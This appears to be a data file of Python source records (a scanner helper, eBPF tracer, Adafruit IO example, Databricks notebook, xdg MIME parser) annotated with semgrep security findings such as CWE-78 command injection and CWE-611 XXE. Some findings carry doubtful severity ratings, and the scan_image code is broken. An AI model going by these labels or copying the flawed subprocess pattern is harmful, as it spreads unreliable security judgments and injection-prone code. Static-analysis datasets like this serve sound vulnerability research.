def scan_image(outfile):
"""Gets an image from a connected scanning device and saves it
as a TIF file at specified location.
Throws a IOError if there is an error reading from the scanning device.
Parameters:
outfile (str): Path where scanned image should be saved.
"""
try:
cmd = 'scanimage --resolution 10 --mode Gray --format tiff > \'{outfile}.tif\''
process = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE)
output, error = process.communicate()
return f'{outfile}.tif'
except:
if error is None:
error = 'Failed to scan image'
raise IOError(error)
| 22 | 29.82 | 87 | 12 | 146 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_e5c80b6e4aec74c3_dd64893e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 19, "column_end": 72, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/e5c80b6e4aec74c3.py", "start": {"line": 15, "col": 19, "offset": 435}, "end": {"line": 15, "col": 72, "offset": 488}, "extra": {"message": "Detected subprocess function 'Popen' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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} | 2.640625 | stackv2 | # Copyright (c) Facebook, Inc. and its affiliates.
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# written by Hugo Berard (berard.hugo@gmail.com) while at Facebook.
from __future__ import print_function
import scipy.sparse.linalg as linalg
import torch
from torch import autograd
import numpy as np
class JacobianVectorProduct(linalg.LinearOperator):
def __init__(self, grad, params):
if isinstance(grad, (list, tuple)):
grad = list(grad)
for i, g in enumerate(grad):
grad[i] = g.view(-1)
self.grad = torch.cat(grad)
elif isinstance(grad, torch.Tensor):
self.grad = grad.view(-1)
self.shape = (self.grad.size(0), self.grad.size(0))
self.dtype = np.dtype('Float32')
self.params = params
def _matvec(self, v):
v = torch.Tensor(v)
if self.grad.is_cuda:
v = v.cuda()
grad_vector_product = torch.dot(self.grad, v)
hv = autograd.grad(grad_vector_product, self.params, retain_graph=True, allow_unused=True)
_hv = []
for g, p in zip(hv, self.params):
if g is None:
g = torch.zeros_like(p)
_hv.append(g.contiguous().view(-1))
hv = torch.cat(_hv)
return hv.cpu()
def test_hessian_eigenvalues():
SIZE = 4
params = torch.rand(SIZE, requires_grad=True)
loss = (params**2).sum()/2
grad = autograd.grad(loss, params, create_graph=True)[0]
A = JacobianVectorProduct(grad, params)
e = linalg.eigsh(A, k=2)
return e
def test_jacobian_eigenvalues():
SIZE = 4
param_1 = torch.rand(SIZE, requires_grad=True)
param_2 = torch.rand(SIZE, requires_grad=True)
loss_1 = (param_1*param_2).sum()
loss_2 = -(param_1*param_2).sum()
grad_1 = autograd.grad(loss_1, param_1, create_graph=True)[0]
grad_2 = autograd.grad(loss_2, param_2, create_graph=True)[0]
grad = torch.cat([grad_1, grad_2])
params =[param_1, param_2]
A = JacobianVectorProduct(grad, params)
e = linalg.eigs(A, k=2)
return e
if __name__ == '__main__':
print(test_hessian_eigenvalues())
print(test_jacobian_eigenvalues())
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} | 2.71875 | stackv2 | # SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries
# SPDX-License-Identifier: MIT
# Example of publishing the value of an ADC to Adafruit IO
# adafruit_circuitpython_adafruitio with an esp32spi_socket
import time
import board
import busio
from analogio import AnalogIn
from digitalio import DigitalInOut
import adafruit_esp32spi.adafruit_esp32spi_socket as socket
from adafruit_esp32spi import adafruit_esp32spi
import adafruit_requests as requests
from adafruit_io.adafruit_io import IO_HTTP, AdafruitIO_RequestError
# Add a secrets.py to your filesystem that has a dictionary called secrets with "ssid" and
# "password" keys with your WiFi credentials. DO NOT share that file or commit it into Git or other
# source control.
# pylint: disable=no-name-in-module,wrong-import-order
try:
from secrets import secrets
except ImportError:
print("WiFi secrets are kept in secrets.py, please add them there!")
raise
# If you are using a board with pre-defined ESP32 Pins:
esp32_cs = DigitalInOut(board.ESP_CS)
esp32_ready = DigitalInOut(board.ESP_BUSY)
esp32_reset = DigitalInOut(board.ESP_RESET)
# If you have an externally connected ESP32:
# esp32_cs = DigitalInOut(board.D9)
# esp32_ready = DigitalInOut(board.D10)
# esp32_reset = DigitalInOut(board.D5)
spi = busio.SPI(board.SCK, board.MOSI, board.MISO)
esp = adafruit_esp32spi.ESP_SPIcontrol(spi, esp32_cs, esp32_ready, esp32_reset)
print("Connecting to AP...")
while not esp.is_connected:
try:
esp.connect_AP(secrets["ssid"], secrets["password"])
except RuntimeError as e:
print("could not connect to AP, retrying: ", e)
continue
print("Connected to", str(esp.ssid, "utf-8"), "\tRSSI:", esp.rssi)
socket.set_interface(esp)
requests.set_socket(socket, esp)
# Set your Adafruit IO Username and Key in secrets.py
# (visit io.adafruit.com if you need to create an account,
# or if you need your Adafruit IO key.)
aio_username = secrets["aio_username"]
aio_key = secrets["aio_key"]
# Initialize an Adafruit IO HTTP API object
io = IO_HTTP(aio_username, aio_key, requests)
try:
# Get the 'light' feed from Adafruit IO
light_feed = io.get_feed("light")
except AdafruitIO_RequestError:
# If no 'light' feed exists, create one
light_feed = io.create_new_feed("light")
# Set up an ADC
adc = AnalogIn(board.A0)
SENSOR_DELAY = 30
while True:
light_value = adc.value
print("ADC Value: ", light_value)
print("Sending to Adafruit IO...")
io.send_data(light_feed["key"], light_value)
print("Sent!")
# delay sending to Adafruit IO
time.sleep(SENSOR_DELAY)
| 78 | 32.35 | 99 | 11 | 696 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5c77c4d1dc33da55_4e2dbdc4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant esp.is_connected() because esp.is_connected is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 11, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5c77c4d1dc33da55.py", "start": {"line": 40, "col": 11, "offset": 1451}, "end": {"line": 40, "col": 27, "offset": 1467}, "extra": {"message": "Is \"is_connected\" a function or an attribute? If it is a function, you may have meant esp.is_connected() because esp.is_connected is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_5c77c4d1dc33da55_4d09a184", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 5, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/5c77c4d1dc33da55.py", "start": {"line": 78, "col": 5, "offset": 2576}, "end": {"line": 78, "col": 29, "offset": 2600}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
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} | 2.46875 | stackv2 | #!/usr/bin/python
# @lint-avoid-python-3-compatibility-imports
#
# uobjnew Summarize object allocations in high-level languages.
# For Linux, uses BCC, eBPF.
#
# USAGE: uobjnew [-h] [-T TOP] [-v] {c,java,ruby,tcl} pid [interval]
#
# Copyright 2016 Sasha Goldshtein
# Licensed under the Apache License, Version 2.0 (the "License")
#
# 25-Oct-2016 Sasha Goldshtein Created this.
from __future__ import print_function
import argparse
from bcc import BPF, USDT, utils
from time import sleep
import os
# C needs to be the last language.
languages = ["c", "java", "ruby", "tcl"]
examples = """examples:
./uobjnew -l java 145 # summarize Java allocations in process 145
./uobjnew -l c 2020 1 # grab malloc() sizes and print every second
./uobjnew -l ruby 6712 -C 10 # top 10 Ruby types by number of allocations
./uobjnew -l ruby 6712 -S 10 # top 10 Ruby types by total size
"""
parser = argparse.ArgumentParser(
description="Summarize object allocations in high-level languages.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=examples)
parser.add_argument("-l", "--language", choices=languages,
help="language to trace")
parser.add_argument("pid", type=int, help="process id to attach to")
parser.add_argument("interval", type=int, nargs='?',
help="print every specified number of seconds")
parser.add_argument("-C", "--top-count", type=int,
help="number of most frequently allocated types to print")
parser.add_argument("-S", "--top-size", type=int,
help="number of largest types by allocated bytes to print")
parser.add_argument("-v", "--verbose", action="store_true",
help="verbose mode: print the BPF program (for debugging purposes)")
parser.add_argument("--ebpf", action="store_true",
help=argparse.SUPPRESS)
args = parser.parse_args()
language = args.language
if not language:
language = utils.detect_language(languages, args.pid)
program = """
#include <linux/ptrace.h>
struct key_t {
#if MALLOC_TRACING
u64 size;
#else
char name[50];
#endif
};
struct val_t {
u64 total_size;
u64 num_allocs;
};
BPF_HASH(allocs, struct key_t, struct val_t);
""".replace("MALLOC_TRACING", "1" if language == "c" else "0")
usdt = USDT(pid=args.pid)
#
# C
#
if language == "c":
program += """
int alloc_entry(struct pt_regs *ctx, size_t size) {
struct key_t key = {};
struct val_t *valp, zero = {};
key.size = size;
valp = allocs.lookup_or_try_init(&key, &zero);
if (valp) {
valp->total_size += size;
valp->num_allocs += 1;
}
return 0;
}
"""
#
# Java
#
elif language == "java":
program += """
int alloc_entry(struct pt_regs *ctx) {
struct key_t key = {};
struct val_t *valp, zero = {};
u64 classptr = 0, size = 0;
u32 length = 0;
bpf_usdt_readarg(2, ctx, &classptr);
bpf_usdt_readarg(3, ctx, &length);
bpf_usdt_readarg(4, ctx, &size);
bpf_probe_read_user(&key.name, min(sizeof(key.name), (size_t)length), (void *)classptr);
valp = allocs.lookup_or_try_init(&key, &zero);
if (valp) {
valp->total_size += size;
valp->num_allocs += 1;
}
return 0;
}
"""
usdt.enable_probe_or_bail("object__alloc", "alloc_entry")
#
# Ruby
#
elif language == "ruby":
create_template = """
int THETHING_alloc_entry(struct pt_regs *ctx) {
struct key_t key = { .name = "THETHING" };
struct val_t *valp, zero = {};
u64 size = 0;
bpf_usdt_readarg(1, ctx, &size);
valp = allocs.lookup_or_try_init(&key, &zero);
if (valp) {
valp->total_size += size;
valp->num_allocs += 1;
}
return 0;
}
"""
program += """
int object_alloc_entry(struct pt_regs *ctx) {
struct key_t key = {};
struct val_t *valp, zero = {};
u64 classptr = 0;
bpf_usdt_readarg(1, ctx, &classptr);
bpf_probe_read_user(&key.name, sizeof(key.name), (void *)classptr);
valp = allocs.lookup_or_try_init(&key, &zero);
if (valp) {
valp->num_allocs += 1; // We don't know the size, unfortunately
}
return 0;
}
"""
usdt.enable_probe_or_bail("object__create", "object_alloc_entry")
for thing in ["string", "hash", "array"]:
program += create_template.replace("THETHING", thing)
usdt.enable_probe_or_bail("%s__create" % thing,
"%s_alloc_entry" % thing)
#
# Tcl
#
elif language == "tcl":
program += """
int alloc_entry(struct pt_regs *ctx) {
struct key_t key = { .name = "<ALL>" };
struct val_t *valp, zero = {};
valp = allocs.lookup_or_try_init(&key, &zero);
if (valp) {
valp->num_allocs += 1;
}
return 0;
}
"""
usdt.enable_probe_or_bail("obj__create", "alloc_entry")
else:
print("No language detected; use -l to trace a language.")
exit(1)
if args.ebpf or args.verbose:
if args.verbose:
print(usdt.get_text())
print(program)
if args.ebpf:
exit()
bpf = BPF(text=program, usdt_contexts=[usdt])
if language == "c":
bpf.attach_uprobe(name="c", sym="malloc", fn_name="alloc_entry",
pid=args.pid)
exit_signaled = False
print("Tracing allocations in process %d (language: %s)... Ctrl-C to quit." %
(args.pid, language or "none"))
while True:
try:
sleep(args.interval or 99999999)
except KeyboardInterrupt:
exit_signaled = True
print()
data = bpf["allocs"]
if args.top_count:
data = sorted(data.items(), key=lambda kv: kv[1].num_allocs)
data = data[-args.top_count:]
elif args.top_size:
data = sorted(data.items(), key=lambda kv: kv[1].total_size)
data = data[-args.top_size:]
else:
data = sorted(data.items(), key=lambda kv: kv[1].total_size)
print("%-30s %8s %12s" % ("NAME/TYPE", "# ALLOCS", "# BYTES"))
for key, value in data:
if language == "c":
obj_type = "block size %d" % key.size
else:
obj_type = key.name
print("%-30s %8d %12d" %
(obj_type, value.num_allocs, value.total_size))
if args.interval and not exit_signaled:
bpf["allocs"].clear()
else:
exit()
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2024-11-18T18:16:13.733478+00:00 | 1,596,808,707,000 | e854f5625b2e6a9bef4995dba8daa0af4d1ad961 | 3 | {
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} | 2.796875 | stackv2 | # Databricks notebook source
# MAGIC %md ## Pandas - Extracting data
# COMMAND ----------
import pandas as pd
import numpy as np
# Load data from CSV
data = pd.read_csv('/dbfs/FileStore/tables/titanic.csv')
# COMMAND ----------
# MAGIC %md ## Pandas - Cleaning data
# COMMAND ----------
# Drop rubbish columns we don't need
try:
data = data.drop(['Name', 'Ticket', 'Cabin'], axis=1)
except:
pass
# Drop any rows that have nulls/na/blanks
data = data.dropna()
# Create numerical columns
try:
data['Gender'] = data['Sex'].map({'female': 0, 'male':1}).astype(int)
data['Port'] = data['Embarked'].map({'C':1, 'S':2, 'Q':3}).astype(int)
data = data.drop(['Sex', 'Embarked'], axis=1)
except:
pass
# Move survived column first as it's our outcome
cols = data.columns.tolist()
cols = [cols[1]] + cols[0:1] + cols[2:]
data = data[cols]
# Column info
data.info()
# Get our training data in NumPy format
train_data = data.values
# COMMAND ----------
# MAGIC %md ## Scikit-learn - Training the model
# COMMAND ----------
from sklearn.ensemble import RandomForestClassifier
# Use RandomForestClassifier
model = RandomForestClassifier(n_estimators = 100)
model = model.fit(train_data[0:,2:], train_data[0:,0])
# COMMAND ----------
# MAGIC %md ## Test
# COMMAND ----------
answer = model.predict_proba([[3, 42, 0, 0, 2, 1, 1]])
print(answer[0])
# COMMAND ----------
# MAGIC %md ## Pickle model and store in Azure storage
# COMMAND ----------
from collections import OrderedDict
import pickle
from azure.storage.blob import BlockBlobService
try:
# Widgets are how we get values passed from a DataBricks job
# Model version, name & storage-account is passed into job, and storage key is kept in Azure Key Vault
STORAGE_KEY = dbutils.secrets.get("keyvault-secrets", "storage-key")
STORAGE_ACCOUNT = dbutils.widgets.get("storage_account")
MODEL_VERSION = dbutils.widgets.get("model_version")
STORAGE_CONTAINER = dbutils.widgets.get("model_name")
except:
pass
# STORAGE_ACCOUNT value should only be set when this Notebook is invoked via a job
# So we only pickle and store in Azure blobs when running as a job
if 'STORAGE_ACCOUNT' in vars():
# ORDER IS IMPORTANT! This is why we use OrderedDict and create entries one by one
# Lookup is used by the API app to convert parameter names and the string values back to encoded features
lookup = OrderedDict()
lookup["Pclass"] = 0
lookup["Age"] = 0
lookup["SibSp"] = 0
lookup["Parch"] = 0
lookup["Fare"] = 0
lookup["Gender"] = {"male": 1, "female": 0}
lookup["Port"] = {"Cherbourg": 1, "Southampton": 2, "Queenstown": 3}
# Create output lookup, called flags
flags = ["died_proba", "survived_proba"]
# Pickle the whole damn lot
with open("model.pkl" , 'wb') as file:
pickle.dump(model, file)
file.close()
with open("lookup.pkl" , 'wb') as file:
pickle.dump(lookup, file)
file.close()
with open("flags.pkl" , 'wb') as file:
pickle.dump(flags, file)
file.close()
# Create the BlockBlockService that is used to call the Blob service for the storage account
block_blob_service = BlockBlobService(account_name=STORAGE_ACCOUNT, account_key=STORAGE_KEY)
# Create a container
block_blob_service.create_container(STORAGE_CONTAINER)
# Upload the model and other pickles to the model registry
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/model.pkl", "model.pkl")
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/lookup.pkl", "lookup.pkl")
block_blob_service.create_blob_from_path(STORAGE_CONTAINER, MODEL_VERSION + "/flags.pkl", "flags.pkl")
# Job complete
dbutils.notebook.exit("Version: " + MODEL_VERSION + " pickled model and lookups stored in " + STORAGE_ACCOUNT + "/" + STORAGE_CONTAINER+"/"+MODEL_VERSION)
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} | 2.359375 | stackv2 | """
This module is based on a rox module (LGPL):
http://cvs.sourceforge.net/viewcvs.py/rox/ROX-Lib2/python/rox/mime.py?rev=1.21&view=log
This module provides access to the shared MIME database.
types is a dictionary of all known MIME types, indexed by the type name, e.g.
types['application/x-python']
Applications can install information about MIME types by storing an
XML file as <MIME>/packages/<application>.xml and running the
update-mime-database command, which is provided by the freedesktop.org
shared mime database package.
See http://www.freedesktop.org/standards/shared-mime-info-spec/ for
information about the format of these files.
(based on version 0.13)
"""
import os
import stat
import fnmatch
import xdg.BaseDirectory
import xdg.Xocale
from xml.dom import Node, minidom, XML_NAMESPACE
FREE_NS = 'http://www.freedesktop.org/standards/shared-mime-info'
types = {} # Maps MIME names to type objects
exts = None # Maps extensions to types
globs = None # List of (glob, type) pairs
literals = None # Maps liternal names to types
magic = None
def _get_node_data(node):
"""Get text of XML node"""
return ''.join([n.nodeValue for n in node.childNodes]).strip()
def lookup(media, subtype = None):
"Get the MIMEtype object for this type, creating a new one if needed."
if subtype is None and '/' in media:
media, subtype = media.split('/', 1)
if (media, subtype) not in types:
types[(media, subtype)] = MIMEtype(media, subtype)
return types[(media, subtype)]
class MIMEtype:
"""Type holding data about a MIME type"""
def __init__(self, media, subtype):
"Don't use this constructor directly; use mime.lookup() instead."
assert media and '/' not in media
assert subtype and '/' not in subtype
assert (media, subtype) not in types
self.media = media
self.subtype = subtype
self._comment = None
def _load(self):
"Loads comment for current language. Use get_comment() instead."
resource = os.path.join('mime', self.media, self.subtype + '.xml')
for path in xdg.BaseDirectory.load_data_paths(resource):
doc = minidom.parse(path)
if doc is None:
continue
for comment in doc.documentElement.getElementsByTagNameNS(FREE_NS, 'comment'):
lang = comment.getAttributeNS(XML_NAMESPACE, 'lang') or 'en'
goodness = 1 + (lang in xdg.Xocale.langs)
if goodness > self._comment[0]:
self._comment = (goodness, _get_node_data(comment))
if goodness == 2: return
# FIXME: add get_icon method
def get_comment(self):
"""Returns comment for current language, loading it if needed."""
# Should we ever reload?
if self._comment is None:
self._comment = (0, str(self))
self._load()
return self._comment[1]
def __str__(self):
return self.media + '/' + self.subtype
def __repr__(self):
return '[%s: %s]' % (self, self._comment or '(comment not loaded)')
class MagicRule:
def __init__(self, f):
self.next=None
self.prev=None
#print line
ind=''
while True:
c=f.read(1)
if c=='>':
break
ind+=c
if not ind:
self.nest=0
else:
self.nest=int(ind)
start=''
while True:
c=f.read(1)
if c=='=':
break
start+=c
self.start=int(start)
hb=f.read(1)
lb=f.read(1)
self.lenvalue=ord(lb)+(ord(hb)<<8)
self.value=f.read(self.lenvalue)
c=f.read(1)
if c=='&':
self.mask=f.read(self.lenvalue)
c=f.read(1)
else:
self.mask=None
if c=='~':
w=''
while c!='+' and c!='\n':
c=f.read(1)
if c=='+' or c=='\n':
break
w+=c
self.word=int(w)
else:
self.word=1
if c=='+':
r=''
while c!='\n':
c=f.read(1)
if c=='\n':
break
r+=c
#print r
self.range=int(r)
else:
self.range=1
if c!='\n':
raise 'Malformed MIME magic line'
def getLength(self):
return self.start+self.lenvalue+self.range
def appendRule(self, rule):
if self.nest<rule.nest:
self.next=rule
rule.prev=self
elif self.prev:
self.prev.appendRule(rule)
def match(self, buffer):
if self.match0(buffer):
if self.next:
return self.next.match(buffer)
return True
def match0(self, buffer):
l=len(buffer)
for o in range(self.range):
s=self.start+o
e=s+self.lenvalue
if l<e:
return False
if self.mask:
test=''
for i in range(self.lenvalue):
c=ord(buffer[s+i]) & ord(self.mask[i])
test+=chr(c)
else:
test=buffer[s:e]
if test==self.value:
return True
def __repr__(self):
return '<MagicRule %d>%d=[%d]%s&%s~%d+%d>' % (self.nest,
self.start,
self.lenvalue,
`self.value`,
`self.mask`,
self.word,
self.range)
class MagicType:
def __init__(self, mtype):
self.mtype=mtype
self.top_rules=[]
self.last_rule=None
def getLine(self, f):
nrule=MagicRule(f)
if nrule.nest and self.last_rule:
self.last_rule.appendRule(nrule)
else:
self.top_rules.append(nrule)
self.last_rule=nrule
return nrule
def match(self, buffer):
for rule in self.top_rules:
if rule.match(buffer):
return self.mtype
def __repr__(self):
return '<MagicType %s>' % self.mtype
class MagicDB:
def __init__(self):
self.types={} # Indexed by priority, each entry is a list of type rules
self.maxlen=0
def mergeFile(self, fname):
f=file(fname, 'r')
line=f.readline()
if line!='MIME-Magic\0\n':
raise 'Not a MIME magic file'
while True:
shead=f.readline()
#print shead
if not shead:
break
if shead[0]!='[' or shead[-2:]!=']\n':
raise 'Malformed section heading'
pri, tname=shead[1:-2].split(':')
#print shead[1:-2]
pri=int(pri)
mtype=lookup(tname)
try:
ents=self.types[pri]
except:
ents=[]
self.types[pri]=ents
magictype=MagicType(mtype)
#print tname
#rline=f.readline()
c=f.read(1)
f.seek(-1, 1)
while c and c!='[':
rule=magictype.getLine(f)
#print rule
if rule and rule.getLength()>self.maxlen:
self.maxlen=rule.getLength()
c=f.read(1)
f.seek(-1, 1)
ents.append(magictype)
#self.types[pri]=ents
if not c:
break
def match_data(self, data, max_pri=100, min_pri=0):
pris=self.types.keys()
pris.sort(lambda a, b: -cmp(a, b))
for pri in pris:
#print pri, max_pri, min_pri
if pri>max_pri:
continue
if pri<min_pri:
break
for type in self.types[pri]:
m=type.match(data)
if m:
return m
def match(self, path, max_pri=100, min_pri=0):
try:
buf=file(path, 'r').read(self.maxlen)
return self.match_data(buf, max_pri, min_pri)
except:
pass
return None
def __repr__(self):
return '<MagicDB %s>' % self.types
# Some well-known types
text = lookup('text', 'plain')
inode_block = lookup('inode', 'blockdevice')
inode_char = lookup('inode', 'chardevice')
inode_dir = lookup('inode', 'directory')
inode_fifo = lookup('inode', 'fifo')
inode_socket = lookup('inode', 'socket')
inode_symlink = lookup('inode', 'symlink')
inode_door = lookup('inode', 'door')
app_exe = lookup('application', 'executable')
_cache_uptodate = False
def _cache_database():
global exts, globs, literals, magic, _cache_uptodate
_cache_uptodate = True
exts = {} # Maps extensions to types
globs = [] # List of (glob, type) pairs
literals = {} # Maps liternal names to types
magic = MagicDB()
def _import_glob_file(path):
"""Loads name matching information from a MIME directory."""
for line in file(path):
if line.startswith('#'): continue
line = line[:-1]
type_name, pattern = line.split(':', 1)
mtype = lookup(type_name)
if pattern.startswith('*.'):
rest = pattern[2:]
if not ('*' in rest or '[' in rest or '?' in rest):
exts[rest] = mtype
continue
if '*' in pattern or '[' in pattern or '?' in pattern:
globs.append((pattern, mtype))
else:
literals[pattern] = mtype
for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'globs')):
_import_glob_file(path)
for path in xdg.BaseDirectory.load_data_paths(os.path.join('mime', 'magic')):
magic.mergeFile(path)
# Sort globs by length
globs.sort(lambda a, b: cmp(len(b[0]), len(a[0])))
def get_type_by_name(path):
"""Returns type of file by its name, or None if not known"""
if not _cache_uptodate:
_cache_database()
leaf = os.path.basename(path)
if leaf in literals:
return literals[leaf]
lleaf = leaf.lower()
if lleaf in literals:
return literals[lleaf]
ext = leaf
while 1:
p = ext.find('.')
if p < 0: break
ext = ext[p + 1:]
if ext in exts:
return exts[ext]
ext = lleaf
while 1:
p = ext.find('.')
if p < 0: break
ext = ext[p+1:]
if ext in exts:
return exts[ext]
for (glob, mime_type) in globs:
if fnmatch.fnmatch(leaf, glob):
return mime_type
if fnmatch.fnmatch(lleaf, glob):
return mime_type
return None
def get_type_by_contents(path, max_pri=100, min_pri=0):
"""Returns type of file by its contents, or None if not known"""
if not _cache_uptodate:
_cache_database()
return magic.match(path, max_pri, min_pri)
def get_type_by_data(data, max_pri=100, min_pri=0):
"""Returns type of the data"""
if not _cache_uptodate:
_cache_database()
return magic.match_data(data, max_pri, min_pri)
def get_type(path, follow=1, name_pri=100):
"""Returns type of file indicated by path.
path - pathname to check (need not exist)
follow - when reading file, follow symbolic links
name_pri - Priority to do name matches. 100=override magic"""
if not _cache_uptodate:
_cache_database()
try:
if follow:
st = os.stat(path)
else:
st = os.lstat(path)
except:
t = get_type_by_name(path)
return t or text
if stat.S_ISREG(st.st_mode):
t = get_type_by_contents(path, min_pri=name_pri)
if not t: t = get_type_by_name(path)
if not t: t = get_type_by_contents(path, max_pri=name_pri)
if t is None:
if stat.S_IMODE(st.st_mode) & 0111:
return app_exe
else:
return text
return t
elif stat.S_ISDIR(st.st_mode): return inode_dir
elif stat.S_ISCHR(st.st_mode): return inode_char
elif stat.S_ISBLK(st.st_mode): return inode_block
elif stat.S_ISFIFO(st.st_mode): return inode_fifo
elif stat.S_ISLNK(st.st_mode): return inode_symlink
elif stat.S_ISSOCK(st.st_mode): return inode_socket
return inode_door
def install_mime_info(application, package_file):
"""Copy 'package_file' as ~/.local/share/mime/packages/<application>.xml.
If package_file is None, install <app_dir>/<application>.xml.
If already installed, does nothing. May overwrite an existing
file with the same name (if the contents are different)"""
application += '.xml'
new_data = file(package_file).read()
# See if the file is already installed
package_dir = os.path.join('mime', 'packages')
resource = os.path.join(package_dir, application)
for x in xdg.BaseDirectory.load_data_paths(resource):
try:
old_data = file(x).read()
except:
continue
if old_data == new_data:
return # Already installed
global _cache_uptodate
_cache_uptodate = False
# Not already installed; add a new copy
# Create the directory structure...
new_file = os.path.join(xdg.BaseDirectory.save_data_path(package_dir), application)
# Write the file...
file(new_file, 'w').write(new_data)
# Update the database...
command = 'update-mime-database'
if os.spawnlp(os.P_WAIT, command, command, xdg.BaseDirectory.save_data_path('mime')):
os.unlink(new_file)
raise Exception("The '%s' command returned an error code!\n" \
"Make sure you have the freedesktop.org shared MIME package:\n" \
"http://standards.freedesktop.org/shared-mime-info/") % command
| 474 | 28.68 | 90 | 19 | 3,347 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_522776996d096cd6_c88a1708", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. 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"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
29
] | [
29
] | [
1
] | [
49
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | Mime.py | /AppDirAssistant.AppDir/usr/bin/AppImageKit/xxdg/Mime.py | hideout/AppImageKit | MIT | |
2024-11-18T18:16:14.522090+00:00 | 1,581,658,101,000 | abfde7127ad54fc2a3afdf8b71b7487fc7db9c44 | 3 | {
"blob_id": "abfde7127ad54fc2a3afdf8b71b7487fc7db9c44",
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"detected_licenses": [
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"extension": "py",
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"language": "Python",
"length_bytes": 648,
"license": "MIT",
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"path": "/examples/irq-key-down/irq-key-down.py",
"provenance": "stack-edu-0054.json.gz:569188",
"repo_name": "Jerry233333/micropython-mpr121",
"revision_date": 1581658101000,
"revision_id": "0066ef51a6c7fc16b3f9b210e2c81349caefbb0f",
"snapshot_id": "b0e39e1fa5540df93f1e6a865f716e41d8323ba7",
"src_encoding": "UTF-8",
"star_events_count": 0,
